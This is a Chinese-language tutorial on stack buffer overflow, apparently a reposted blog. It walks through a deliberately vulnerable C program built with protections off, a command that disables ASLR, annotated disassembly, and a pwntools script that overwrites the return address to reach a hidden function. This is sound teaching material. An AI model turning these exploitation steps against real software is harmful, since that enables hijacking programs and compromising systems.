当前位置: 首页 > news >正文

栈溢出原理

文章目录

  • 前言
  • 一、基本示例
  • 二、分析栈
    • 1. 先不考虑gets函数的栈情况
    • 2. 分析gets函数的栈区情况
  • 三、利用栈
    • 1. 构造字符串
    • 2. 利用漏洞


前言

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。


一、基本示例

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限

#include <stdio.h>
#include <string.h>void success(void)
{puts("You Hava already controlled it.");
}void vulnerable(void)
{char s[12];gets(s);puts(s);return;
}int main(int argc, char **argv)
{vulnerable();return 0;
}

这个程序的主要目的读取一个字符串,并将其输出。我们希望可以控制程序执行 success 函数

我们进行编译:gcc -m32 -fno-stack-protector stack_example.c -o stack_example -no-pie
编译器会警告gets函数,因为它是一个危险函数,从不检查输入字符串的长度。

gcc 编译指令中,-m32 指的是生成 32 位程序; -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。 此外,为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(Position Independent Executable),避免加载基址被打乱。

修改/proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有

  • 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
  • 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
  • 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。

echo 0 > /proc/sys/kernel/randomize_va_space 关闭 Linux 系统的 ASLR

利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。

int vulnerable()
{char s; // [sp+4h] [bp-14h]@1gets(&s);return puts(&s);
}
                public vulnerable
.text:000011D8 vulnerable      proc near               ; CODE XREF: main+10↓p
.text:000011D8
.text:000011D8 s               = byte ptr -14h	; 在栈上分配一个名为 's' 的局部缓冲区,大小为 20 字节(0x14h)
.text:000011D8 var_4           = dword ptr -4	; 一个名为 'var_4' 的局部变量
.text:000011D8
.text:000011D8 ; __unwind {
.text:000011D8                 push    ebp	; 保存上一个栈帧的基指针
.text:000011D9                 mov     ebp, esp	; 为当前栈帧设置新的基指针
.text:000011DB                 push    ebx	; 保存 EBX 寄存器的值(调用者保存寄存器)
.text:000011DC                 sub     esp, 14h ; 在栈上为局部缓冲区 's' 分配 20 字节的空间
.text:000011DF                 call    __x86_get_pc_thunk_bx	; 获取指令地址,然后jmp
.text:000011E4                 add     ebx, 2DF0h	; 调用者改变 EBX 寄存器的值
.text:000011EA                 sub     esp, 0Ch		; 调用约定,清理栈
.text:000011ED                 lea     eax, [ebp+s]	;'s' 的地址加载到 EAX
.text:000011F0                 push    eax             ;'s' 的地址作为参数推入栈中,供 gets() 使用
.text:000011F1                 call    _gets		   ; 调用 gets() 读取字符串到 's'(存在缓冲区溢出风险)
.text:000011F6                 add     esp, 10h		   ; 调用约定,清理栈
.text:000011F9                 sub     esp, 0Ch		   ; 调用约定,平栈
.text:000011FC                 lea     eax, [ebp+s]	   ; 再次将 's' 的地址加载到 EAX
.text:000011FF                 push    eax             ;'s' 的地址作为参数推入栈中,供 puts() 使用
.text:00001200                 call    _puts   		   ; 调用 puts() 打印字符串
.text:00001205                 add     esp, 10h		   ; 调用约定,清理栈
.text:00001208                 nop
.text:00001209                 mov     ebx, [ebp+var_4]; 恢复保存的 EBX 寄存器值
.text:0000120C                 leave				   ; 清理栈帧(相当于 'mov esp, ebp' 后跟 'pop ebp')
.text:0000120D                 retn					   ; 从函数返回
.text:0000120D ; } // starts at 11D8
.text:0000120D vulnerable      endp

其实看汇编代码比较好理解点,如果有阅读障碍,建议出门右转C/C++学习中的函数调用机制和调用约定。

二、分析栈

我们只分析开始到gets函数调用完的栈。

1. 先不考虑gets函数的栈情况

未调用vul函数
在这里插入图片描述
调用vul函数,保存原来的EIP
在这里插入图片描述
PUSH EBP
在这里插入图片描述
MOV EBP,ESP
在这里插入图片描述
PUSH EAX
在这里插入图片描述
SUB ESP,14H

在这里插入图片描述
ADD ESP,OCH
在这里插入图片描述

PUSH EAX
在这里插入图片描述

ADD ESP,10H ,SUB ESP,0CH
在这里插入图片描述

2. 分析gets函数的栈区情况

那么我们从将s的地址赋给EAX开始分析。
在这里插入图片描述

然后调用 gets() 读取字符串到 ‘s’。这里要知道,缓冲区填充数据是由低往高地址增长。
而EBP到EBP-14H这块缓冲区域,在上面图,自然是从上往下填充数据的。

这就有个问题了,如果把EBP到EBP-14H这块缓冲区区域填充满,并继续填数据,会发生什么?
很自然,就是把后面的区域也给覆盖了。这就是所谓的栈溢出。

三、利用栈

1. 构造字符串

那么我们就知道如何利用所谓的栈溢出了。如果EBP开辟的局部变量区域,填充满,然后用双字填充EBP的保存地址,再用suceess的地址覆盖掉原来的返回地址。然后gets调用完,返回的地址就是suceess的地址。
在这里插入图片描述

那么我们要构造的字符串为:

0x14*'a'+'bbbb'+success_addr

当然如果是局部变量溢出的话,覆盖的顺序应该先为返回地址然后才是EBP。

局部变量区域是由ESP和EBP往高地址开辟的,而缓冲区是由ESP和EBP往低地址开辟的,有所区别。

2. 利用漏洞

我们可以通过 IDA 获得 success 的地址,其地址为 0x08049186。
在这里插入图片描述

这里稍微注意下,一般情况以小端存储,那么 0x000011AD 在内存中的形式为:

\x86\x91\x04\x08

在终端输入的时候 \x 等也算一个单独的字符。时我们就需要使用 pwntools 。

于是Payload如下:

##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr =  0x08049186
## 构造payload
payload = b'a' * 0x14 + b'bbbb' + p32(success_addr)
print(p32(success_addr))
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()
http://www.lryc.cn/news/522248.html

相关文章:

  • Jmeter如何进行多服务器远程测试
  • 2.slf4j入口
  • 初学stm32 --- CAN
  • 软件测试—接口测试面试题及jmeter面试题
  • 图论的起点——七桥问题
  • 嵌入式开发通讯协议大全(在写中)
  • webpack 4 升级 webpack 5
  • oneplus3t-lineageos-16.1编译-android9, oneplus3t-lineage-14编译-android7
  • HTML中最基本的东西
  • <OS 有关>Ubuntu 24 安装 openssh-server, tailscale+ssh 慢增加
  • 神经网络常见操作(卷积)输入输出
  • 25/1/16 嵌入式笔记 STM32F108
  • mac 安装 node
  • mysql常用运维命令
  • 正则表达式学习网站
  • gradle,adb命令行编译备忘
  • C++:工具VSCode的编译和调试文件内容:
  • SpringMVC Idea 搭建 部署war
  • YOLOv10-1.1部分代码阅读笔记-loaders.py
  • Windows的Redis查看自己设置的密码并更改设置密码
  • 【Linux】sed编辑器二
  • docker 部署 Kafka 单机和集群
  • PHP语言的软件开发工具
  • 前端【3】--CSS布局,CSS实现横向布局,盒子模型
  • SQL语句IN和OR的区别
  • OCP使用中的常见问题与解决方法
  • Git 版本控制:.gitignore 文件完全指南
  • STM32 FreeRTOS 介绍
  • 在 Azure 100 学生订阅中新建 Ubuntu VPS 并部署 Mastodon 服务器
  • 【Linux网络编程】序列化与反序列化